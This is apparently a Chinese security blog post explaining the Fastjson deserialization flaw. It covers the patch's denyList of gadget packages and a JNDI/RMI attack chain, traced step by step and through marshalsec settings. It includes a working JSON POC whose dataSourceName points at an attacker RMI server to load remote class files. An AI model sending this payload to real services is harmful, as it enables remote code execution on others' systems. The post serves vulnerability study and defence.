Fastjson反序列化介绍
Java处理JSON数据有三个比较流行的类库,gson(google维护)、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一个开源的json相关的java library,地址在这里,https://github.com/alibaba/fastjson,Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,效率较高,被广泛的用在web服务以及android上,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象。
Fastjson序列化和反序列化:
- Fastjson序列化:通过JSON.toJSONString()方法,将对象转化成JSON格式的字符串
- Fastjson反序列化:JSON.parseObject()方法,将JSON格式的字符串转化成对象
Fastjson反序列化漏洞介绍
官方给出的补丁文件,主要的更新在这个checkAutoType函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中。具体包括
bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework
核心部分就是denyList的处理过程,遍历denyList,如果引入的库以denyList中某个deny打头,就会抛出异常,中断运行。
基于JNDI的利用过程图解
背景介绍
- 被攻击服务器能解析json载荷,并且存在fastjson漏洞。
- 攻击者服务器开启了rmi服务(通常为1099端口)和http服务(其它文件服务也行,如ftp)
攻击POC
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://172.16.55.180:1099/Exploit",
"autoCommit":true
}
攻击过程详解
- 步骤1,攻击者向被攻击者发送序列化后的json攻击payload
- 步骤2,被攻击者服务器解析攻击payload后,通过jndi接口连接payload中的rmi服务器(该服务器需要为黑客控制的服务器)
- 步骤3,攻击者服务器的rmi服务通过了其请求,返还其请求的对象。(可以是对象的codebase地址)
- 步骤4,被攻击服务器收到对象后,发现本地不存在,接着向攻击者提供的远程对象地址请求对象,也就是请求攻击者服务器的http端口上的class文件。
- 步骤5,攻击者服务器的http服务返回class文件到被攻击者服务器。被攻击者执行class文件中的恶意代码。
从数据包的角度看下整个过程
从上图可以看出两点
- 被攻击服务器首先连接了黑客提供的rmi接口。
- 被攻击服务器在本地未找到类对象的时候,又去访问了黑客提供的codebase代码,也就是http服务提供的class文件。
讲一下什么是codebase。
这个在我看marshalsec的时候,发现利用里有如下的内容
exploit.jndiUrl, defaults to ldap://localhost:1389/obj
exploit.codebase, defaults to http://localhost:8080/
exploit.codebaseClass, defaults to Exploit
exploit.exec, defaults to /usr/bin/gedit
其实现在看来,就是jndi注入的四个先决条件。
- exploit.jndiUrl的意思,攻击者要传递的jndi地址,比如rmi的,ldap的。
- exploit.codebase的意思,攻击者提供的http服务器,提供下载远程class的地址。
- exploit.codebaseClass的意思,攻击者在http服务器提供下载类的名称。默认的名称为Exploit,因此生成的poc的就会访问 http://localhost:8080/Exploit.class
- exploit.exec的意思,攻击者执行的恶意命令
其他知识思考
之前在研究Java反序列化的时候,思维惯性认为Java反序列化的漏洞的利用方式都是跟Java原生的ObjectInputStream 类的 readObject() 方法似的,直接解析一个存在漏洞的库,如Apache Commons Collections。但是基于Jndi的利用方式就一直搞不懂。
其实基于Jndi的利用方式跟原来的利用方式是类似的,只是反序列化后又进行了几次自身请求外部对象操作,本质上是通过反序列化漏洞进行Jndi注入(Java代码注入)。原来反序列化漏洞是直接进行RCE,基于JNDI的反序列化利用是Java代码注入。
最后感谢ninty师傅在工作中帮我捋清思路。